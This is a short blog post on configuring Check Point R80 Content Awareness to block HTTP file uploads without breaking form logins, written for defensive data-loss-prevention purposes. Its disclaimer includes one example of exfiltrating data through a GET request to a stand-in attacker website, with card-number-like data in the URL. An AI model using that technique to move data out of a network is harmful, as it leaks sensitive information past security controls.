Thursday, 7 February 2019

Blocking file uploads with R80 Content Awareness... without breaking everything else.

Content Awareness is a new feature in Check Point R80 (and R80.10, R80.20 too if you're being picky) which allows you to gain visibility and control over most common file and data types traversing your security gateway.
You might think 'awesome - I'll put in some policy that says block any uploads of any files' and you'll be protected from anyone trying to sneak files out of your corporate environment. For the most part ,yes, you'll be well protected against that but you'll be so well protected that it will break a lot of benign functionality too. Web logins and form submission may get caught up as part of the 'upload' protection. There is a way around this by creating a custom Application Control signature.


Create a new application signature by clicking on the + button and fill in name, category and risk details.


Under application Scenarios, add HTTP request and fill in the method and custom header definition as in the screenshot


What we're defining here is an Application Control object that will detect any POST request with a content type of  'application/x-www-form-urlencoded' which, according to the RFC, will not allow for any file uploads.

Click save and then export the new application definition. You can import it in Smart Console under Updates > Application Control & URL Filtering' > 'Management Update' > 'Import Applications'. Once imported, configure a policy similar to this:


You should find that users can download whatever they like and login to various sites and services, but if they try to upload any files they'll be dropped with a connection error.

Disclaimer

Going on the RFC / standards definitions for HTTP, the content type of 'application/x-www-form-urlencoded' can not be used for transferring files. Only 'multipart/form-data' should be used for this. However, the latter can also be used for logins or forms without file data so this will not cater for that situation and allowing that type of encoding across the board will open you up to losing more data on this rule. 
Also, blocking files on upload alone should not be considered a bulletproof DLP solution. For example, if you had a solution which blocked all files uploads, regardless of type - what about a user putting simple text data into a form field? That could be sensitive information, it's just identified as a 'file'. So you then block any POST requests (user experience be damned). If someone were really determined to get some data out of an environment, all it would take is to setup a simple web server with logging enabled to get data out via a standard browser request. Browsing to 'http://www.my-data-stealing-website.com/data=creditcardnumber_1234_5678' would bypass any upload scanning but you've still go the data out. As it happens you can configure Content Awareness to scan GET requests, but it will put a higher load on your gateways.